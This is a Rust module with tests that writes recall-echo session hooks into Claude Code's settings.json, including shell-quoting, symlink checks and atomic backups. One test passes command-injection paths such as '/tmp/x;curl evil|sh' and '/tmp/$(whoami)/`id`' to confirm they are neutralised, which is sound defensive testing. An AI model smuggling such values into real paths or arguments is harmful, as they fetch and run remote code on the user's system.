use std::fs;
use std::io::Write as _;
use std::path::{Path, PathBuf};
use crate::paths;
pub(crate) const AUTO_MEMORY_ENV: &str = "CLAUDE_CODE_DISABLE_AUTO_MEMORY";
pub(crate) fn auto_memory_on(settings: &serde_json::Value, env_disable: Option<&str>) -> bool {
fn truthy(value: &str) -> bool {
matches!(
value.trim().to_ascii_lowercase().as_str(),
"1" | "true" | "yes" | "on"
)
}
let setting_off = settings
.get("autoMemoryEnabled")
.and_then(serde_json::Value::as_bool)
== Some(false);
let settings_env_off = settings
.get("env")
.and_then(|env| env.get(AUTO_MEMORY_ENV))
.and_then(serde_json::Value::as_str)
.is_some_and(truthy);
!(setting_off || settings_env_off || env_disable.is_some_and(truthy))
}
pub(crate) fn disable_auto_memory(settings: &mut serde_json::Value) {
settings["autoMemoryEnabled"] = serde_json::Value::Bool(false);
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub(crate) enum Skip {
NoClaudeCode,
BuildDir,
PulseRoot,
PulseHome(Vec<PathBuf>),
}
impl std::fmt::Display for Skip {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Skip::NoClaudeCode => f.write_str("Claude Code is not installed"),
Skip::BuildDir => f.write_str("running from a build directory"),
Skip::PulseRoot => f.write_str(
"this is a pulse-null pulse, and pulse-null writes its rules and loads its \
MEMORY.md itself",
),
Skip::PulseHome(pulses) => {
let names: Vec<String> = pulses.iter().map(|p| p.display().to_string()).collect();
write!(
f,
"this user runs pulse-null pulses ({}); user-level hooks and rules would \
fire in every pulse session, and pulse-null gives each pulse its own",
names.join(", ")
)
}
}
}
}
pub(crate) struct ClaudeTarget {
claude_dir: PathBuf,
memory_skip: Option<Skip>,
}
impl ClaudeTarget {
pub(crate) fn claude_dir(&self) -> &Path {
&self.claude_dir
}
pub(crate) fn settings_path(&self) -> PathBuf {
self.claude_dir.join("settings.json")
}
pub(crate) fn memory_steps(&self) -> Result<(), &Skip> {
self.memory_skip.as_ref().map_or(Ok(()), Err)
}
}
fn is_pulse_root(root: &Path) -> bool {
root.join("pulse-null.toml").is_file()
}
fn pulses_in(home: &Path) -> Vec<PathBuf> {
let install = home.join("pulse-null");
let mut pulses: Vec<PathBuf> = [
install.clone(),
install.join("pulses"),
install.join("entities"),
]
.iter()
.filter_map(|dir| fs::read_dir(dir).ok())
.flat_map(|entries| entries.filter_map(Result::ok))
.filter(|entry| entry.file_type().is_ok_and(|t| t.is_dir()))
.map(|entry| entry.path())
.filter(|dir| is_pulse_root(dir))
.collect();
let legacy = home.join("entity");
if fs::symlink_metadata(&legacy).is_ok_and(|meta| meta.is_dir()) && is_pulse_root(&legacy) {
pulses.push(legacy);
}
pulses.sort();
pulses.dedup();
pulses
}
fn same_dir(a: &Path, b: &Path) -> bool {
match (fs::canonicalize(a), fs::canonicalize(b)) {
(Ok(a), Ok(b)) => a == b,
_ => a == b,
}
}
pub(crate) fn claude_code_target(
roots: &paths::ConfigRoots,
pulse_root: &Path,
) -> Result<ClaudeTarget, Skip> {
let claude_dir = roots.claude_dir().ok_or(Skip::NoClaudeCode)?;
if paths::is_build_dir(roots.recall_bin()) {
return Err(Skip::BuildDir);
}
let home = roots.home();
let pulses = home.as_deref().map(pulses_in).unwrap_or_default();
let user_level = home
.as_deref()
.is_some_and(|home| same_dir(&home.join(".claude"), claude_dir));
if !pulses.is_empty() && user_level {
return Err(Skip::PulseHome(pulses));
}
let memory_skip = if is_pulse_root(pulse_root) {
Some(Skip::PulseRoot)
} else {
(!pulses.is_empty()).then_some(Skip::PulseHome(pulses))
};
Ok(ClaudeTarget {
claude_dir: claude_dir.to_path_buf(),
memory_skip,
})
}
fn parse_settings(path: &Path, bytes: Option<&[u8]>) -> Result<serde_json::Value, String> {
let Some(bytes) = bytes else {
return Ok(serde_json::json!({}));
};
let settings: serde_json::Value = serde_json::from_slice(bytes).map_err(|e| {
format!(
"{} is not valid JSON ({e}) — refusing to overwrite it; fix the file and re-run init",
path.display()
)
})?;
if !settings.is_object() {
return Err(format!(
"{} is not a JSON object — refusing to overwrite it",
path.display()
));
}
Ok(settings)
}
fn read_bytes(path: &Path) -> Result<Option<Vec<u8>>, String> {
match fs::read(path) {
Ok(bytes) => Ok(Some(bytes)),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
Err(e) => Err(format!("Could not read {} ({e})", path.display())),
}
}
pub(crate) struct SettingsEdit {
path: PathBuf,
original: Option<Vec<u8>>,
pub(crate) value: serde_json::Value,
}
pub(crate) enum OpenSettings {
Edit(SettingsEdit),
Symlink,
Refused(String),
}
#[derive(Debug, PartialEq, Eq)]
pub(crate) enum Committed {
Written,
WrittenOverChange,
}
pub(crate) fn open_settings(path: &Path) -> OpenSettings {
if fs::symlink_metadata(path).is_ok_and(|meta| meta.file_type().is_symlink()) {
return OpenSettings::Symlink;
}
let original = match read_bytes(path) {
Ok(original) => original,
Err(why) => return OpenSettings::Refused(why),
};
match parse_settings(path, original.as_deref()) {
Ok(value) => OpenSettings::Edit(SettingsEdit {
path: path.to_path_buf(),
original,
value,
}),
Err(why) => OpenSettings::Refused(why),
}
}
impl SettingsEdit {
pub(crate) fn commit(
self,
reapply: impl FnOnce(&mut serde_json::Value) -> Result<(), String>,
) -> Result<Committed, String> {
if fs::symlink_metadata(&self.path).is_ok_and(|meta| meta.file_type().is_symlink()) {
return Err(format!(
"{} became a symlink while init was running — not replaced; this run's \
changes were not written",
self.path.display()
));
}
let current = read_bytes(&self.path)?;
let (value, committed) = if current == self.original {
(self.value, Committed::Written)
} else {
let mut fresh = parse_settings(&self.path, current.as_deref()).map_err(|why| {
format!("{why} (it changed while init was running) — this run's changes were not written")
})?;
reapply(&mut fresh)?;
(fresh, Committed::WrittenOverChange)
};
let content = serde_json::to_string_pretty(&value)
.map_err(|e| format!("Failed to serialize settings: {e}"))?;
if let Some(replaced) = ¤t {
atomic_replace(&self.path.with_extension("json.bak"), replaced, false).map_err(
|e| {
format!(
"Could not keep a backup of {} ({e}) — not written",
self.path.display()
)
},
)?;
}
atomic_replace(&self.path, &content, true)
.map_err(|e| format!("Failed to write {}: {e}", self.path.display()))?;
Ok(committed)
}
}
pub(crate) struct HookChange {
pub changed: bool,
pub notes: Vec<String>,
}
pub(crate) fn apply_hooks(
settings: &mut serde_json::Value,
pulse_root: &Path,
recall_bin: &str,
) -> Result<HookChange, String> {
let root = fs::canonicalize(pulse_root).unwrap_or_else(|_| pulse_root.to_path_buf());
if root.display().to_string().chars().any(char::is_control) {
return Err(
"Pulse root contains control characters — refusing to write it into a shell hook"
.to_string(),
);
}
if recall_bin.ends_with(" (deleted)") {
return Err(
"The running binary was replaced on disk during init — re-run init".to_string(),
);
}
if !is_shell_safe_bin(recall_bin) {
return Err(format!(
"Refusing to write hooks: binary path {recall_bin} contains characters unsafe \
in a shell command — install recall-echo at a plain path and re-run init"
));
}
let mut notes: Vec<String> = Vec::new();
let changed = upsert_recall_hooks(settings, recall_bin, &root, &mut notes)
.map_err(|why| format!("settings.json: {why} — hooks not configured"))?;
Ok(HookChange { changed, notes })
}
pub(crate) fn atomic_replace(
path: &Path,
content: impl AsRef<[u8]>,
keep_mode: bool,
) -> std::io::Result<()> {
use std::os::unix::fs::OpenOptionsExt;
let mut name = path.file_name().unwrap_or_default().to_os_string();
name.push(format!(".tmp.{}", std::process::id()));
let tmp = path.with_file_name(name);
let _ = fs::remove_file(&tmp);
let written = (|| {
let mut f = fs::OpenOptions::new()
.write(true)
.create_new(true)
.mode(0o600)
.open(&tmp)?;
f.write_all(content.as_ref())?;
f.sync_all()?;
if keep_mode {
if let Ok(meta) = fs::metadata(path) {
fs::set_permissions(&tmp, meta.permissions())?;
}
}
fs::rename(&tmp, path)
})();
if written.is_err() {
let _ = fs::remove_file(&tmp);
}
written
}
fn shell_path(path: &Path) -> String {
format!("'{}'", path.display().to_string().replace('\'', r"'\''"))
}
fn is_shell_safe_bin(path: &str) -> bool {
!path.is_empty()
&& path
.chars()
.all(|c| c.is_ascii_alphanumeric() || "/._+-".contains(c))
}
const SHELL_OPERATORS: [&str; 8] = [";", "&", "|", ">", "<", "$", "`", "\n"];
fn strip_single_quoted(cmd: &str) -> String {
let mut out = String::new();
let mut in_quote = false;
for c in cmd.chars() {
match c {
'\'' => in_quote = !in_quote,
_ if in_quote => {}
_ => out.push(c),
}
}
out
}
fn is_bare_recall_invocation(cmd: &str, subcommand: &str) -> bool {
if SHELL_OPERATORS
.iter()
.any(|op| strip_single_quoted(cmd).contains(op))
{
return false;
}
let mut parts = cmd.split_whitespace();
let Some(first) = parts.next() else {
return false;
};
Path::new(first)
.file_name()
.is_some_and(|f| f == "recall-echo")
&& parts.next() == Some(subcommand)
}
const SESSION_START_MATCHER: &str = "startup|resume|clear";
fn upsert_recall_hooks(
settings: &mut serde_json::Value,
recall_bin: &str,
pulse_root: &Path,
notes: &mut Vec<String>,
) -> Result<bool, String> {
let root = shell_path(pulse_root);
let plan: [(&str, Option<&str>, &str, String); 3] = [
(
"SessionStart",
Some(SESSION_START_MATCHER),
"consume",
format!("{recall_bin} consume {root}"),
),
(
"SessionEnd",
None,
"archive-session",
format!("{recall_bin} archive-session --pulse-root {root}"),
),
(
"PreCompact",
None,
"checkpoint",
format!("{recall_bin} checkpoint --trigger precompact --pulse-root {root}"),
),
];
let hooks = settings
.as_object_mut()
.and_then(|o| {
o.entry("hooks")
.or_insert_with(|| serde_json::json!({}))
.as_object_mut()
})
.ok_or_else(|| "settings.json root is not a JSON object".to_string())?;
let mut changed = false;
for (event, matcher, subcommand, expected) in plan {
if upsert_hook(hooks, event, matcher, subcommand, &expected, notes)? {
changed = true;
}
}
Ok(changed)
}
const LEGACY_ROOT_FLAG: &str = "--entity-root";
fn rewrite_note(event: &str, previous: &str) -> String {
if previous.contains(LEGACY_ROOT_FLAG) {
format!("{event}: renamed {LEGACY_ROOT_FLAG} to --pulse-root in the recall-echo hook")
} else {
format!("{event}: updated recall-echo hook to carry the pulse root")
}
}
fn upsert_hook(
hooks: &mut serde_json::Map<String, serde_json::Value>,
event: &str,
matcher: Option<&str>,
subcommand: &str,
expected: &str,
notes: &mut Vec<String>,
) -> Result<bool, String> {
let marker = format!("recall-echo {subcommand}");
let not_array = || format!("\"hooks\".\"{event}\" is not an array — fix it and re-run init");
let mut changed = false;
let mut found = false;
let mut have_canonical = false;
if let Some(value) = hooks.get_mut(event) {
let arr = value.as_array_mut().ok_or_else(not_array)?;
for group in arr.iter_mut() {
let Some(inner) = group.get_mut("hooks").and_then(|h| h.as_array_mut()) else {
continue;
};
let mut i = 0;
while i < inner.len() {
let Some(cmd) = inner[i]
.get("command")
.and_then(|c| c.as_str())
.map(String::from)
else {
i += 1;
continue;
};
if !cmd.contains(&marker) {
i += 1;
continue;
}
found = true;
let repairable = cmd == expected || is_bare_recall_invocation(&cmd, subcommand);
if repairable && have_canonical {
inner.remove(i);
notes.push(format!("{event}: removed a duplicate recall-echo hook"));
changed = true;
continue; }
if cmd == expected {
have_canonical = true;
} else if repairable {
inner[i]["command"] = serde_json::Value::String(expected.to_string());
notes.push(rewrite_note(event, &cmd));
have_canonical = true;
changed = true;
} else {
notes.push(format!(
"{event}: left a customized recall-echo hook unchanged: {cmd} — note it \
does not carry the pulse root; the canonical command is: {expected}"
));
}
i += 1;
}
let all_ours = !inner.is_empty()
&& inner
.iter()
.all(|h| h.get("command").and_then(|c| c.as_str()) == Some(expected));
if all_ours {
if let Some(m) = matcher {
if group.get("matcher").and_then(|v| v.as_str()) != Some(m) {
group["matcher"] = serde_json::Value::String(m.to_string());
changed = true;
}
}
}
}
arr.retain(|group| {
group
.get("hooks")
.and_then(|h| h.as_array())
.is_none_or(|inner| !inner.is_empty())
});
}
if found {
return Ok(changed);
}
let arr = hooks
.entry(event)
.or_insert_with(|| serde_json::json!([]))
.as_array_mut()
.ok_or_else(not_array)?;
let mut group = serde_json::json!({
"hooks": [{"type": "command", "command": expected}]
});
if let Some(m) = matcher {
group["matcher"] = serde_json::Value::String(m.to_string());
}
arr.push(group);
Ok(true)
}
#[cfg(test)]
mod tests {
use super::*;
fn upsert(settings: &mut serde_json::Value, root: &str) -> (bool, Vec<String>) {
let mut skipped = Vec::new();
let changed = upsert_recall_hooks(
settings,
"/usr/local/bin/recall-echo",
Path::new(root),
&mut skipped,
)
.unwrap();
(changed, skipped)
}
#[test]
fn hooks_carry_the_pulse_root() {
let mut settings = serde_json::json!({});
let (changed, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert!(skipped.is_empty());
let text = settings.to_string();
assert!(text.contains("archive-session --pulse-root '/home/d/.wiseferry'"));
assert!(text.contains("checkpoint --trigger precompact --pulse-root '/home/d/.wiseferry'"));
assert!(text.contains("consume '/home/d/.wiseferry'"));
}
#[test]
fn a_legacy_bare_hook_is_rewritten_not_skipped() {
let mut settings = serde_json::json!({
"hooks": {
"SessionStart": [{
"matcher": "startup|resume",
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo consume"}]
}],
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]
}],
"PreCompact": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo checkpoint --trigger precompact"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert_eq!(notes.len(), 3, "{notes:?}");
assert!(notes.iter().all(|n| n.contains("updated")), "{notes:?}");
let text = settings.to_string();
assert!(text.contains("archive-session --pulse-root '/home/d/.wiseferry'"));
assert_eq!(text.matches("archive-session").count(), 1);
assert_eq!(text.matches("checkpoint").count(), 1);
assert_eq!(text.matches("consume").count(), 1);
}
#[test]
fn a_pre_4_6_entity_root_hook_is_rewritten_to_pulse_root() {
let mut settings = serde_json::json!({
"hooks": {
"SessionStart": [{
"matcher": "startup|resume",
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo consume '/home/d/.wiseferry'"}]
}],
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session --entity-root '/home/d/.wiseferry'"}]
}],
"PreCompact": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo checkpoint --trigger precompact --entity-root '/home/d/.wiseferry'"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert_eq!(
notes.len(),
2,
"consume takes the root positionally: {notes:?}"
);
assert!(
notes
.iter()
.all(|n| n.contains("renamed --entity-root to --pulse-root")),
"{notes:?}"
);
let text = settings.to_string();
assert!(!text.contains("--entity-root"), "{text}");
assert!(text.contains("archive-session --pulse-root '/home/d/.wiseferry'"));
assert!(text.contains("checkpoint --trigger precompact --pulse-root '/home/d/.wiseferry'"));
assert_eq!(text.matches("archive-session").count(), 1);
assert_eq!(text.matches("checkpoint").count(), 1);
let after_first = settings.clone();
let (changed_again, notes_again) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed_again, "{notes_again:?}");
assert_eq!(settings, after_first);
}
#[test]
fn a_guarded_entity_root_hook_is_left_to_the_alias() {
let guarded =
"/usr/local/bin/recall-echo archive-session --entity-root '/home/d/pulse' || true";
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{"hooks": [{"type": "command", "command": guarded}]}]
}
});
let (_, notes) = upsert(&mut settings, "/home/d/pulse");
assert!(settings.to_string().contains(guarded));
assert_eq!(notes.len(), 1, "{notes:?}");
assert!(notes[0].contains("left a customized"), "{notes:?}");
}
#[test]
fn a_correct_hook_set_is_left_unchanged() {
let mut settings = serde_json::json!({});
upsert(&mut settings, "/home/d/.wiseferry");
let before = settings.clone();
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
assert_eq!(settings, before);
}
fn session_start_matchers(settings: &serde_json::Value) -> Vec<String> {
settings["hooks"]["SessionStart"]
.as_array()
.unwrap()
.iter()
.map(|group| group["matcher"].as_str().unwrap_or_default().to_string())
.collect()
}
#[test]
fn init_session_start_matcher_includes_clear() {
let mut settings = serde_json::json!({});
upsert(&mut settings, "/home/d/.wiseferry");
assert_eq!(session_start_matchers(&settings), ["startup|resume|clear"]);
}
#[test]
fn init_upgrades_recall_only_startup_resume_group() {
let mut settings = serde_json::json!({});
upsert(&mut settings, "/home/d/.wiseferry");
settings["hooks"]["SessionStart"][0]["matcher"] = "startup|resume".into();
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert_eq!(session_start_matchers(&settings), ["startup|resume|clear"]);
}
#[test]
fn init_keeps_shared_group_matcher() {
let mut settings = serde_json::json!({});
upsert(&mut settings, "/home/d/.wiseferry");
let ours = settings["hooks"]["SessionStart"][0]["hooks"][0].clone();
settings["hooks"]["SessionStart"] = serde_json::json!([{
"matcher": "startup",
"hooks": [ours, {"type": "command", "command": "notify-send hello"}]
}]);
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
assert_eq!(session_start_matchers(&settings), ["startup"]);
}
#[test]
fn foreign_hooks_are_never_touched() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "notify-send done"}]
}]
}
});
upsert(&mut settings, "/home/d/.wiseferry");
let text = settings.to_string();
assert!(text.contains("notify-send done"));
assert!(text.contains("archive-session --pulse-root '/home/d/.wiseferry'"));
}
#[test]
fn a_wrapped_recall_hook_is_reported_not_rewritten() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session || true"}]
}]
}
});
let (_, skipped) = upsert(&mut settings, "/home/d/.wiseferry");
assert_eq!(skipped.len(), 1);
assert!(
skipped[0].contains("archive-session || true"),
"{skipped:?}"
);
let text = settings.to_string();
assert!(text.contains("archive-session || true"));
assert_eq!(text.matches("archive-session").count(), 1);
}
#[test]
fn a_root_with_shell_metacharacters_is_neutralized() {
for (root, quoted) in [
(
"/Users/d/My Files/.wiseferry",
"'/Users/d/My Files/.wiseferry'",
),
("/tmp/x;curl evil|sh", "'/tmp/x;curl evil|sh'"),
("/tmp/$(whoami)/`id`", "'/tmp/$(whoami)/`id`'"),
] {
let mut settings = serde_json::json!({});
upsert(&mut settings, root);
let text = settings.to_string();
assert!(
text.contains(&format!("--pulse-root {quoted}")),
"{root}: {text}"
);
}
}
#[test]
fn an_embedded_single_quote_is_escaped() {
assert_eq!(
shell_path(Path::new("/home/d/o'brien")),
r"'/home/d/o'\''brien'"
);
}
#[test]
fn duplicate_stale_hooks_collapse_to_one() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [
{"hooks": [{"type": "command", "command": "/old/path/recall-echo archive-session"}]},
{"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session"}]}
]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed);
assert!(
notes.iter().any(|n| n.contains("removed a duplicate")),
"{notes:?}"
);
let expected =
"/usr/local/bin/recall-echo archive-session --pulse-root '/home/d/.wiseferry'";
let text = settings.to_string();
assert_eq!(text.matches(expected).count(), 1, "{text}");
assert_eq!(text.matches("archive-session").count(), 1, "{text}");
let (changed, _) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(!changed);
}
#[test]
fn a_prefix_wrapped_hook_is_not_rewritten() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "timeout 30 /usr/local/bin/recall-echo archive-session"}]
}]
}
});
let (_, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(notes.iter().any(|n| n.contains("unchanged")), "{notes:?}");
let text = settings.to_string();
assert!(text.contains("timeout 30 /usr/local/bin/recall-echo archive-session"));
assert_eq!(text.matches("archive-session").count(), 1, "{text}");
}
#[test]
fn a_quoted_root_with_operators_stays_repairable() {
let mut settings = serde_json::json!({
"hooks": {
"SessionEnd": [{
"hooks": [{"type": "command", "command": "/usr/local/bin/recall-echo archive-session --pulse-root '/tmp/a;b'"}]
}]
}
});
let (changed, notes) = upsert(&mut settings, "/home/d/.wiseferry");
assert!(changed, "{notes:?}");
let text = settings.to_string();
assert!(text.contains("--pulse-root '/home/d/.wiseferry'"), "{text}");
assert!(!text.contains("/tmp/a;b"), "{text}");
}
#[test]
fn auto_memory_on_table() {
use serde_json::json;
let cases = [
(json!({}), None, true),
(json!({"autoMemoryEnabled": true}), None, true),
(json!({"autoMemoryEnabled": false}), None, false),
(json!({}), Some("1"), false),
(json!({}), Some("TRUE"), false),
(json!({}), Some("0"), true),
(json!({}), Some(""), true),
(json!({"env": {AUTO_MEMORY_ENV: "1"}}), None, false),
(json!({"env": {AUTO_MEMORY_ENV: "false"}}), None, true),
];
for (settings, env, on) in cases {
assert_eq!(auto_memory_on(&settings, env), on, "{settings} env={env:?}");
}
}
#[test]
fn no_claude_code_skips_every_step() {
let tmp = tempfile::tempdir().unwrap();
let roots = paths::ConfigRoots::sandboxed(tmp.path())
.unwrap()
.without_claude_code();
assert_eq!(
claude_code_target(&roots, tmp.path()).err(),
Some(Skip::NoClaudeCode)
);
}
#[test]
fn a_pulse_root_gets_hooks_but_not_the_memory_steps() {
let tmp = tempfile::tempdir().unwrap();
let roots = paths::ConfigRoots::sandboxed(tmp.path()).unwrap();
let pulse = tmp.path().join("echo");
fs::create_dir_all(&pulse).unwrap();
fs::write(pulse.join("pulse-null.toml"), "[pulse]\n").unwrap();
let target = claude_code_target(&roots, &pulse).expect("hooks still run");
assert_eq!(target.memory_steps(), Err(&Skip::PulseRoot));
let plain = claude_code_target(&roots, tmp.path()).unwrap();
assert_eq!(plain.memory_steps(), Ok(()));
}
fn plant_pulse(dir: &Path) {
fs::create_dir_all(dir).unwrap();
fs::write(dir.join("pulse-null.toml"), "[pulse]\n").unwrap();
}
#[test]
fn pulses_are_found_in_every_shape_pulse_null_discovers() {
let home = tempfile::tempdir().unwrap();
let h = home.path();
plant_pulse(&h.join("pulse-null/echo"));
plant_pulse(&h.join("pulse-null/pulses/synth"));
plant_pulse(&h.join("pulse-null/entities/old"));
plant_pulse(&h.join("entity"));
fs::create_dir_all(h.join("pulse-null/notes")).unwrap();
std::os::unix::fs::symlink(h.join("pulse-null/echo"), h.join("pulse-null/alias")).unwrap();
assert_eq!(
pulses_in(h),
vec![
h.join("entity"),
h.join("pulse-null/echo"),
h.join("pulse-null/entities/old"),
h.join("pulse-null/pulses/synth"),
]
);
}
#[test]
fn a_pulse_users_own_claude_dir_gets_no_hooks_either() {
let tmp = tempfile::tempdir().unwrap();
let roots = paths::ConfigRoots::sandboxed(tmp.path()).unwrap();
plant_pulse(&tmp.path().join("pulse-null/pulses/echo"));
let plain_root = tmp.path().join("store");
fs::create_dir_all(&plain_root).unwrap();
let skip = claude_code_target(&roots, &plain_root)
.err()
.expect("skipped");
assert_eq!(
skip,
Skip::PulseHome(vec![tmp.path().join("pulse-null/pulses/echo")])
);
assert!(skip.to_string().contains("user-level hooks"), "{skip}");
}
#[test]
fn a_home_with_pulses_skips_only_the_memory_steps_for_another_claude_dir() {
let tmp = tempfile::tempdir().unwrap();
let home = tempfile::tempdir().unwrap();
plant_pulse(&home.path().join("entity"));
let roots = paths::ConfigRoots::sandboxed(tmp.path())
.unwrap()
.with_home(home.path());
let plain_root = tmp.path().join("store");
fs::create_dir_all(&plain_root).unwrap();
let target = claude_code_target(&roots, &plain_root).expect("hooks still run");
assert_eq!(
target.memory_steps(),
Err(&Skip::PulseHome(vec![home.path().join("entity")]))
);
}
#[test]
fn commit_keeps_an_owner_only_backup_and_never_writes_through_a_symlink() {
use std::os::unix::fs::PermissionsExt;
let tmp = tempfile::tempdir().unwrap();
let path = tmp.path().join("settings.json");
fs::write(&path, r#"{"model": "opus"}"#).unwrap();
let victim = tmp.path().join("victim");
fs::write(&victim, "untouched").unwrap();
std::os::unix::fs::symlink(&victim, path.with_extension("json.bak")).unwrap();
let OpenSettings::Edit(mut edit) = open_settings(&path) else {
panic!("a readable settings.json");
};
disable_auto_memory(&mut edit.value);
assert_eq!(edit.commit(|_| Ok(())), Ok(Committed::Written));
assert_eq!(fs::read_to_string(&victim).unwrap(), "untouched");
let bak = path.with_extension("json.bak");
assert!(!fs::symlink_metadata(&bak).unwrap().file_type().is_symlink());
assert_eq!(fs::read_to_string(&bak).unwrap(), r#"{"model": "opus"}"#);
assert_eq!(
fs::metadata(&bak).unwrap().permissions().mode() & 0o777,
0o600
);
}
#[test]
fn commit_refuses_a_settings_file_that_became_a_symlink() {
let tmp = tempfile::tempdir().unwrap();
let path = tmp.path().join("settings.json");
fs::write(&path, r#"{"model": "opus"}"#).unwrap();
let OpenSettings::Edit(mut edit) = open_settings(&path) else {
panic!("a readable settings.json");
};
disable_auto_memory(&mut edit.value);
let dotfiles = tmp.path().join("dotfiles.json");
fs::write(&dotfiles, r#"{"model": "opus"}"#).unwrap();
fs::remove_file(&path).unwrap();
std::os::unix::fs::symlink(&dotfiles, &path).unwrap();
let err = edit.commit(|_| Ok(())).unwrap_err();
assert!(err.contains("became a symlink"), "{err}");
assert!(fs::symlink_metadata(&path)
.unwrap()
.file_type()
.is_symlink());
assert_eq!(
fs::read_to_string(&dotfiles).unwrap(),
r#"{"model": "opus"}"#
);
}
#[test]
fn open_settings_refuses_a_top_level_that_is_not_an_object() {
let tmp = tempfile::tempdir().unwrap();
for body in ["[]", "\"text\"", "42", "null", "{broken"] {
let path = tmp.path().join("settings.json");
fs::write(&path, body).unwrap();
assert!(
matches!(open_settings(&path), OpenSettings::Refused(_)),
"{body} must be refused"
);
}
}
#[test]
fn open_settings_treats_a_missing_file_as_empty() {
let tmp = tempfile::tempdir().unwrap();
match open_settings(&tmp.path().join("settings.json")) {
OpenSettings::Edit(edit) => assert_eq!(edit.value, serde_json::json!({})),
_ => panic!("a missing settings.json is a fresh one"),
}
}
#[test]
fn disable_auto_memory_sets_the_key_and_keeps_the_rest() {
let mut settings = serde_json::json!({"model": "opus"});
disable_auto_memory(&mut settings);
assert_eq!(
settings,
serde_json::json!({"model": "opus", "autoMemoryEnabled": false})
);
}
}